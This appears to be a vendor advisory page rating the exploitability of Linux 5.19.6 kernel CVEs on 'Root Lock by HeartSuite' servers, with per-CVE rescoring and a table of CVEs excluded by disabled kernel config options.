The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-50320

Status: Not exploitable Component: ACPI subsystem (CONFIG_ACPI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — FPDT crash requires malformed firmware; not reachable on standard OEM hardware Affected range: Linux 5.x–5.19 (fix adds address validation before acpi_os_map_memory call) Upstream fix: drivers/acpi/acpi_fpdt.c (validate subtable->address before mapping)

In drivers/acpi/acpi_fpdt.c, acpi_init_fpdt() (line 253) passes FPDT subtable addresses from firmware-supplied ACPI tables directly to acpi_os_map_memory() without validating that the address falls within the physical memory range. On systems with buggy firmware (the Packard Bell Dot SC, Intel Atom N2600 being the reported case), FPDT entries contain addresses with high bits set outside the valid physical range. acpi_os_map_memory() then attempts to map non-existent memory, crashing the kernel. Any firmware that supplies a malformed FPDT triggers the same path.

CONFIG_ACPI=y is compiled in and 5.19.6 falls within the affected range. FPDT parsing runs at fs_initcall priority — early boot, before any user-space process is running. Triggering the invalid-address crash requires malformed FPDT entries in the system’s ACPI firmware; HeartSuite deployments use standard OEM server firmware that conforms to the ACPI specification. Injecting a crafted ACPI table requires physical or firmware-level access, which is outside the HS software-based adversary model. An adversary with firmware access has already bypassed the OS security boundary; the ACPI parsing path is therefore not a reachable software attack surface on any standard HS deployment.

CVE-2023-53395

Status: Not exploitable Component: ACPI subsystem (CONFIG_ACPI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — AML exploit requires crafted firmware; ACPI tables read-only after boot on standard servers Affected range: Linux 5.x through affected ACPICA version Upstream fix: ACPICA commit 90310989a079 (drivers/acpi/acpica/acopcode.h)

In the ACPICA AML interpreter, the opcode table entries for the AML Timer instruction (ARGP_TIMER_OP, ARGI_TIMER_OP in drivers/acpi/acpica/acopcode.h) were inconsistent with ACPI Specification section 19.6.134, which specifies that Timer takes no arguments. The mismatch caused the AML parser to mishandle Timer opcodes in certain AML bytecode sequences, potentially treating subsequent bytecode as a spurious argument and corrupting the AML interpreter walk-state.

CONFIG_ACPI=y is compiled in and 5.19.6 falls within the affected range. AML execution runs at boot using ACPI tables supplied by the system firmware. Exploiting the walk-state corruption requires crafted AML bytecode — on a server with a reputable firmware vendor, ACPI tables are loaded from firmware storage at boot and are read-only thereafter; no userspace process can replace or modify the AML after boot without firmware-level access. This places the trigger outside the HS software-based adversary model. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-39869

Status: Not exploitable Component: DMA engine framework (CONFIG_DMA_ENGINE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — Texas Instruments eDMA hardware absent

Fix a critical memory allocation bug in edma_setup_from_hw() where queue_priority_map was allocated with insufficient memory.

CONFIG_DMA_ENGINE=y is compiled in. ti-edma is the DMA controller driver for Texas Instruments Keystone/OMAP/AM embedded SoC platforms. This driver and hardware are not present on an x86 Debian 11 server.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-50423

Status: Affected Component: ACPI subsystem (CONFIG_ACPI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux 5.x–5.19 Upstream fix: drivers/acpi/acpica/utdelete.c (reference count ordering fix)

What this means for an attacker:

In drivers/acpi/acpica/utdelete.c, acpi_ut_remove_reference() is called on an ACPI operand object that has already been freed by a concurrent or error-handling code path. The function reads object->common.descriptor_type (via ACPI_GET_DESCRIPTOR_TYPE, line 720) and object->common.reference_count (via acpi_ut_update_object_reference, line 740) from the already-freed memory. KASAN detects the access as a use-after-free at offset +0x3b in acpi_ut_remove_reference().

Why HeartSuite does not reduce this to 0.0:

CONFIG_ACPI=y is compiled in and 5.19.6 falls within the affected range. The ACPI subsystem is active from boot; triggering this use-after-free requires manipulating the ACPI reference count lifecycle via method evaluation during device enumeration or hotplug events. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot drop and execute a new exploit program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2026-23378

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

Whenever an ife action replace changes the metalist, instead of replacing the old data on the metalist, the current ife code is appending the new metadata.

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-36883

Status: Not exploitable Component: TCP/IP networking (CONFIG_INET) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — pernet race requires module loading; kmod’s access to /usr/lib/modprobe.d/ denied by Lockdown file-access enforcement post-boot Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/core/net_namespace.c

In net/core/net_namespace.c, net_alloc_generic() reads max_gen_ptrs — the size of the generic pointers array — to determine how much memory to allocate for a new network namespace. This read occurs without holding pernet_ops_rwsem. register_pernet_operations() can increment max_gen_ptrs concurrently while holding the write side of that lock. The race can cause net_alloc_generic() to allocate an undersized array, leading to out-of-bounds access when the new namespace is subsequently populated.

CONFIG_INET=y is compiled in and 5.19.6 falls within the affected range. The race requires register_pernet_operations() to execute concurrently with net_alloc_generic(). register_pernet_operations() is invoked exclusively from module initialization (module_init routines), so the race cannot be triggered post-Lockdown unless a new kernel module is loaded. New module loading is blocked by Lockdown, not by the Linux kernel’s built-in lockdown LSM: on Debian 12, modprobe and insmod are symlinks to /usr/bin/kmod, which is added to the allowlist by standard Setup Mode via systemd-modules-load.service. HeartSuite does not refuse execve on kmod; the block operates at the file-access layer — Lockdown denies kmod access to /usr/lib/modprobe.d/ by default, so module loading fails at the file-read stage before any module can be loaded. There is no HS_locked_down() check site in the init_module / finit_module syscall path — the block is at the file-access layer, enforced by Lockdown. (If you follow the kmod hardening procedure, kmod’s module-path access records are explicitly scoped to permitted paths, hardening against configuration drift.) After Lockdown engages at boot, all statically-linked pernet operations have already registered and max_gen_ptrs is stable; no concurrent write is possible. Separately, creating a network namespace requires CAP_NET_ADMIN with user namespaces disabled on the HS kernel; no unprivileged process can initiate the namespace-creation side of the race. The race condition cannot be triggered on any Root Lock by HeartSuite deployment where kmod does not have file-access permissions to /usr/lib/modprobe.d/.

CVE-2024-36971

Status: Affected Component: TCP/IP destination cache (CONFIG_INET) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: 5.19.6 falls within the affected range Upstream fix: net/core/dst.c — RCU locking in __dst_negative_advice()

What this means for an attacker:

This CVE was actively exploited in the wild (Google Threat Analysis Group, 2024). It describes a use-after-free in net/core/dst.c. __dst_negative_advice() clears sk->dst_cache when a cached destination entry is marked invalid — reading the entry, determining it should be dropped, then calling sk_dst_reset() — without proper RCU locking across this sequence. A concurrent operation can free the destination entry between the initial read and the reset, producing a use-after-free on the freed dst entry. The result is local privilege escalation to root; attack vector is local (AV:L), not remote.

Why HeartSuite does not reduce this to 0.0:

CONFIG_INET=y is compiled in and 5.19.6 falls within the affected range. __dst_negative_advice() is invoked whenever a cached destination becomes invalid, reachable through normal network activity or by triggering ICMP unreachable messages from a local process. There is no hardware dependency and no special configuration required to reach the code path. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot drop and execute a new exploit program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-38577

Status: Affected Component: RCU tasks subsystem (CONFIG_TASKS_RCU) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: kernel/rcu/tasks.h

What this means for an attacker:

In kernel/rcu/tasks.h, show_rcu_tasks_trace_gp_kthread() formats diagnostic counters for the RCU tasks trace grace-period kthread into a fixed-size buffer using sprintf(). The function does not bound the number of characters written; if individual counter values are sufficiently large, the formatted output overflows the buffer. The sysfs interface exposing this data is readable by any local user via /sys/kernel/rcu_tasks_kthread_status or equivalent debugfs entries.

Why HeartSuite does not reduce this to 0.0:

CONFIG_TASKS_RCU=y is compiled in and 5.19.6 falls within the affected range. RCU tasks is a core kernel synchronisation mechanism active at all times; the overflow condition requires unusually large counter values, making reliable exploitation difficult on a production system. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-40958

Status: Not exploitable Component: network namespaces (CONFIG_NET_NS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CLONE_NEWNET not in HS allowlist; Lockdown blocks the exploitation trigger

In the network namespace subsystem, a use-after-free occurs through a refcount underflow. syzkaller triggered a refcount_t: addition on 0 warning at lib/refcount.c:25, indicating that a network namespace object’s reference count reached zero while still being accessed, with a subsequent attempt to increment the freed object’s refcount in refcount_warn_saturate().

CONFIG_NET_NS=y is compiled in. Creating a network namespace requires CLONE_NEWNET with CAP_NET_ADMIN. User namespaces (which would bypass the capability requirement) are disabled on the HS kernel. No Root Lock by HeartSuite production service creates network namespaces — they are absent from the Lockdown allowlist. Without an allowlist entry, the kernel refuses access. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-41039

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

Fix the checking that firmware file buffer is large enough for the wmfw header, to prevent overrunning the buffer.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-46713

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

Ole reported that event->mmap_mutex is strictly insufficient to serialize the AUX buffer, add a per RB mutex to fully serialize it.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-46852

Status: Not exploitable Component: DMA-BUF shared buffer (CONFIG_DMA_SHARED_BUFFER) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no DRM device on headless HS server; DMA-BUF operations unreachable

Until VM_DONTEXPAND was added in commit 1c1914d6e8c6 (“dma-buf: heaps: Don’t track CMA dma-buf pages under RssFile”) it was possible to obtain a mapping larger than the buffer by calling mremap() on a DMA-BUF heap allocation. The DMA-BUF heap mmap handler did not set VM_DONTEXPAND, allowing the VMA to be extended beyond the original allocation size and enabling out-of-bounds access to adjacent memory.

CONFIG_DMA_SHARED_BUFFER=y is compiled in and 5.19.6 falls within the affected range. DMA-BUF buffer sharing requires access to a DRM or V4L2 device. Root Lock by HeartSuite runs on headless server hardware with no GPU or video capture device; the DRM and V4L2 device nodes are absent, so the exploitation path — opening a DRM device and issuing mmap() on its DMA-BUF — is hardware-unreachable. No GPU or multimedia tool appears in the HS allowlist. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2022-48950

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

In kernel/events/core.c, perf_pending_task() can execute after the associated perf_event object has been freed. When a task exits and its pending perf events are processed, a race allows the task-work callback to fire after the event is released, causing a use-after-free.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2022-49026

Status: Not exploitable Component: Intel e100 Fast Ethernet driver (CONFIG_E100) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Intel Pro/100 NIC absent on any modern HS server deployment

In e100_xmit_prepare(), if we can’t map the skb, then return -ENOMEM, so e100_xmit_frame() will return NETDEV_TX_BUSY and the upper layer will resend the skb.

CONFIG_E100=y is compiled in and 5.19.6 falls within the affected range. The Intel e100 driver supports legacy Intel Pro/100 Fast Ethernet cards, a line discontinued in the early 2000s. No modern server or datacenter hardware ships with or supports this NIC; the driver code is compiled in but the hardware is universally absent on any HS deployment. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-50055

Status: Affected Component: core kernel (CONFIG_BASE_FULL) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: drivers/base/bus.c

What this means for an attacker:

In drivers/base/bus.c, bus_register() allocates a subsys_private struct (@priv) and calls kset_register() to publish the bus kobject. If a subsequent step in bus_register() fails — for example, during sysfs attribute file creation — the error path calls kset_unregister(), which frees @priv through its kobject release callback. bus_register() then also frees @priv directly in its own error path, causing a double-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_BASE_FULL=y is compiled in and 5.19.6 falls within the affected range. bus_register() is called during driver probe and device enumeration, typically at boot or when kernel modules are loaded. Triggering the double-free requires causing a bus registration to fail partway through a specific sysfs error. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot load an exploit module or execute an exploit program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-50112

Status: Not Affected — LAM not implemented in Linux 5.19.x Component: x86_64 architecture (CONFIG_X86_64) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — LAM infrastructure absent from Linux 5.19.x (introduced in 6.2)

Linear Address Masking (LAM) is an x86_64 feature that allows software to store metadata in the upper bits of a canonical virtual address; it requires explicit kernel support — arch_prctl LAM commands, CR3 tag bit management, and associated data structures — to activate. The SLAM transient execution attack exploits an interaction between LAM tag bits and the speculative address-translation pipeline when a LAM-enabled process is running. This LAM kernel infrastructure was introduced upstream in Linux 6.2. The 5.19.6 kernel contains no LAM code paths; no process can enable LAM regardless of privilege level, and the transient execution oracle the SLAM paper describes does not exist in this kernel.

CVE-2024-50193

Status: Not exploitable Component: x86_64 architecture (CONFIG_X86_64) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — perf_event_open() blocked by perf_event_paranoid=3; no perf tool in HS allowlist Affected range: Linux 5.x–6.11 Upstream fix: arch/x86/kernel/nmi.c (CPU buffer flush ordering fix)

On x86_64, the MDS/MD_CLEAR mitigation (VERW-based CPU buffer flush) is applied after exc_nmi() completes but before IRET restores register state. This ordering leaves a window in which speculative execution can observe uninitialised microarchitectural buffer contents from the interrupted context — a same-CPU information disclosure in the MDS (Microarchitectural Data Sampling) class.

CONFIG_X86_64=y is compiled in and 5.19.6 falls within the affected range. Triggering NMIs from ring-3 requires perf_event_open() or hardware performance counters. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-56600

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/af_inet6.c

What this means for an attacker:

In net/ipv6/af_inet6.c, sock_init_data() attaches the newly allocated sk pointer to sock->sk before inet6_create() completes setup. If inet6_create() fails at a later step and frees the sk, sock->sk retains the dangling pointer. The socket cleanup path subsequently calls sock->sk->sk_prot->close() on the freed sk, causing a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. IPv6 socket creation is triggered whenever a process opens an IPv6 socket — a common operation on any networked system. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to reach this path — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-56601

Status: Affected Component: TCP/IP networking (CONFIG_INET) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv4/af_inet.c

What this means for an attacker:

In net/ipv4/af_inet.c, sock_init_data() attaches the newly allocated sk pointer to sock->sk before inet_create() completes setup. If inet_create() fails at a later step and frees the sk, sock->sk retains the dangling pointer. The socket cleanup path subsequently calls sock->sk->sk_prot->close() on the freed sk, causing a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_INET=y is compiled in and 5.19.6 falls within the affected range. The TCP/IP stack is always active; INET socket creation occurs on every TCP or UDP connection. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-56616

Status: Not exploitable Component: DRM subsystem (CONFIG_DRM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — DisplayPort MST display hardware absent

Fix the MST sideband message body length check, which must be at least 1 byte accounting for the message body CRC (aka message data CRC) at the end of the message.

CONFIG_DRM=y is compiled in. DisplayPort Multi-Stream Transport (DP MST) is used for daisy-chaining multiple monitors via DisplayPort. A headless server has no display output hardware; the DP MST sideband message path is never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

Not Affected — Disabled Features

Root Lock by HeartSuite is built for production servers, regulated workstations, build infrastructure, and AI agent sandboxes. The kernel does not include subsystems these workloads do not require. Each absent subsystem eliminates the full class of vulnerabilities that subsystem carries, without requiring per-CVE evaluation.

Where a CVE in this section achieves root privilege, Lockdown provides the same backstop described in CVE-2026-31431chattr +i filesystem immutability combined with the kernel refusing runtime allowlist changes means an attacker who reaches root in Lockdown has no path to persistence or to modifying the allowlist.

Config gateCVEs coveredStatus
CONFIG_BPF_SYSCALL not setCVE-2021-20194, CVE-2023-2163, CVE-2023-39191, CVE-2023-52452, CVE-2024-26589, CVE-2023-52621, CVE-2023-52642, CVE-2024-26883, CVE-2024-26884, CVE-2024-26885, CVE-2024-38538, CVE-2024-40954, CVE-2024-41045, CVE-2024-49861, CVE-2022-49030, CVE-2024-50063, CVE-2024-50067, CVE-2024-50164, CVE-2024-50262, CVE-2024-53099, CVE-2024-56614, CVE-2024-56615, CVE-2024-56633, CVE-2024-56664, CVE-2023-53024, CVE-2022-49840, CVE-2025-37822, CVE-2022-49961, CVE-2022-49970, CVE-2022-49975, CVE-2025-38280, CVE-2025-38502, CVE-2025-38538, CVE-2025-39744, CVE-2023-53192, CVE-2023-53338, CVE-2025-39913, CVE-2022-50490, CVE-2022-50536, CVE-2026-23343, CVE-2026-23359Not Affected
CONFIG_NF_TABLES module (m)CVE-2023-32233, CVE-2023-0179, CVE-2023-3390, CVE-2023-31248, CVE-2023-35001, CVE-2023-3610, CVE-2023-4004, CVE-2023-3777, CVE-2023-4015, CVE-2023-4244, CVE-2023-6817, CVE-2024-1085, CVE-2023-52628, CVE-2024-26673, CVE-2024-27020, CVE-2024-27065, CVE-2024-27397, CVE-2024-35896, CVE-2024-41042, CVE-2024-44983, CVE-2024-50257, CVE-2024-53141, CVE-2024-56650, CVE-2023-52927, CVE-2025-22056, CVE-2022-49919, CVE-2025-38201, CVE-2023-53179, CVE-2023-53492, CVE-2023-53619, CVE-2026-23231, CVE-2023-4147Not Affected
CONFIG_NET_SCH_QFQ, CONFIG_NET_CLS_TCINDEX not setCVE-2023-31436, CVE-2023-1829, CVE-2023-1281Not Affected
CONFIG_BT not setCVE-2022-42896, CVE-2022-45934, CVE-2022-3564, CVE-2022-3640, CVE-2023-1989, and 3 additional, CVE-2023-40283, CVE-2024-21803, CVE-2024-27000, CVE-2024-27398, CVE-2024-35963, CVE-2024-35965, CVE-2024-35966, CVE-2024-35967, CVE-2023-52766, CVE-2024-36012, CVE-2024-36032, CVE-2024-36880, CVE-2024-40927, CVE-2024-41087, CVE-2022-48871, CVE-2022-48878, CVE-2024-43883, CVE-2024-49950, CVE-2024-50125, CVE-2024-50234, CVE-2024-53208, CVE-2024-56604, CVE-2024-56605, CVE-2025-21969, CVE-2025-22022, CVE-2022-49826, CVE-2022-49910, CVE-2023-53057, CVE-2025-37882, CVE-2023-53145, CVE-2025-38117, CVE-2025-38118, CVE-2025-38250, CVE-2025-38593, CVE-2022-50315, CVE-2023-53252, CVE-2023-53305, CVE-2022-50386, CVE-2023-53386, CVE-2022-50419, CVE-2022-50470, CVE-2023-53673, CVE-2025-71082, CVE-2026-23395, CVE-2026-31500Not Affected
CONFIG_TLS, CONFIG_RDS, CONFIG_ROSE, CONFIG_MCTP, CONFIG_AF_RXRPC not setCVE-2023-28466, CVE-2023-1078, CVE-2022-2961, CVE-2022-3977, CVE-2023-2006Not Affected
CONFIG_NFSD not setCVE-2022-43945, CVE-2022-4379, CVE-2023-1652, CVE-2024-26907, CVE-2023-52885, CVE-2024-50106, CVE-2024-50121, CVE-2024-53168, CVE-2025-38724, CVE-2022-50235, CVE-2022-50241, CVE-2022-50401, CVE-2022-50410, CVE-2023-53680, CVE-2026-22980Not Affected
CONFIG_NTFS3_FS, CONFIG_NTFS_FS, CONFIG_JFS_FS, CONFIG_NILFS2_FS not setCVE-2022-48423, CVE-2022-48424, CVE-2022-48425, CVE-2023-26544, CVE-2023-26506, CVE-2023-26507, CVE-2023-2124, CVE-2020-27815, CVE-2022-2978Not Affected
CONFIG_DVB_CORE, CONFIG_SGI_GRU, CONFIG_FPGA, CONFIG_KVM_INTEL not setCVE-2022-45884, CVE-2022-45885, CVE-2022-45886, CVE-2022-45919, CVE-2022-3424, CVE-2023-26242, CVE-2022-2196Not Affected
CONFIG_USB_NET_RNDIS_WLAN, CONFIG_SMB_SERVER not setCVE-2023-23559, CVE-2023-0210Not Affected
CONFIG_VIDEO_ADV748X not setCVE-2025-71136Not Affected
CONFIG_MD_RAID10 not setCVE-2023-53357Not Affected
CONFIG_USB_NET_CDCETHER not setCVE-2025-38153Not Affected
CONFIG_DRM_XLNX not setCVE-2024-56538Not Affected
CONFIG_USB_LAN78XX not setCVE-2024-53213Not Affected
CONFIG_HYPERV_VSOCKETS not setCVE-2024-53103Not Affected
CONFIG_DRM_XE not setCVE-2024-53098Not Affected
CONFIG_ARM_SCMI_PROTOCOL not setCVE-2024-53068Not Affected
CONFIG_VIDEO_S5P_JPEG not setCVE-2024-53061Not Affected
CONFIG_MSE102X not setCVE-2024-50276Not Affected
CONFIG_TYPEC not setCVE-2024-50150Not Affected
CONFIG_HSR not setCVE-2022-49015Not Affected
CONFIG_HI_GMAC not setCVE-2022-48960, CVE-2022-48962Not Affected
CONFIG_DRM_STM not setCVE-2024-49992Not Affected
CONFIG_PCI_KIRIN not setCVE-2024-47751Not Affected
CONFIG_DRM_ASPEED_GFX not setCVE-2023-52916Not Affected
CONFIG_BNA not setCVE-2024-43839Not Affected
CONFIG_CRYPTO_DEV_HISI_SEC2 not setCVE-2024-42147, CVE-2024-47730Not Affected
CONFIG_IONIC not setCVE-2024-39502Not Affected
CONFIG_GREYBUS not setCVE-2024-39495Not Affected
CONFIG_STM not setCVE-2024-38627Not Affected
CONFIG_DEBUG_MUTEXES not setCVE-2023-52836Not Affected
CONFIG_RCU_NOCB_CPU not setCVE-2024-35929, CVE-2025-38704Not Affected
CONFIG_SECURITY_APPARMOR not setCVE-2026-23408Not Affected
CONFIG_MACVLAN not setCVE-2026-23001Not Affected
CONFIG_NET_TEAM not setCVE-2025-71091Not Affected
CONFIG_DLM not setCVE-2023-53629Not Affected
CONFIG_TRACE_BUF not setCVE-2023-53587Not Affected
CONFIG_PTP_1588_CLOCK_OCP not setCVE-2025-39859Not Affected
CONFIG_XDP_SOCKETS not setCVE-2023-53426Not Affected
CONFIG_NUBUS not setCVE-2023-53217Not Affected
CONFIG_COMEDI not setCVE-2025-38482, CVE-2025-38483, CVE-2025-38529, CVE-2025-38530, CVE-2025-39685, CVE-2025-39686Not Affected
CONFIG_IPV6_SEG6_LWTUNNEL not setCVE-2025-38476Not Affected
CONFIG_CORESIGHT not setCVE-2025-38131Not Affected
CONFIG_STAGING not setCVE-2022-49956, CVE-2023-53554Not Affected
CONFIG_MCB not setCVE-2025-37817Not Affected
CONFIG_UDMABUF not setCVE-2025-37803Not Affected
CONFIG_SLIMBUS not setCVE-2025-21914Not Affected
CONFIG_GENEVE not setCVE-2025-21858Not Affected
CONFIG_ORANGEFS_FS not setCVE-2025-21782Not Affected
CONFIG_PKTGEN not setCVE-2025-21680Not Affected
CONFIG_SPI_MPC52xx not setCVE-2024-50051Not Affected
CONFIG_SUPERH not setCVE-2024-53165Not Affected
CONFIG_USB_MUSB_HDRC not setCVE-2024-50269Not Affected
CONFIG_USB_SERIAL not setCVE-2024-50267Not Affected
CONFIG_VDPA not setCVE-2024-47748, CVE-2024-53126, CVE-2023-53082, CVE-2023-53543Not Affected
CONFIG_SPI_NXP_FLEXSPI not setCVE-2024-46853Not Affected
CONFIG_UML not setCVE-2024-46844Not Affected
CONFIG_NET_SCH_NETEM not setCVE-2024-46800Not Affected
CONFIG_PARISC not setCVE-2024-44949, CVE-2022-50518Not Affected
CONFIG_NET_FOU not setCVE-2024-44940, CVE-2026-23083Not Affected
CONFIG_VHOST_VSOCK not setCVE-2024-43873Not Affected
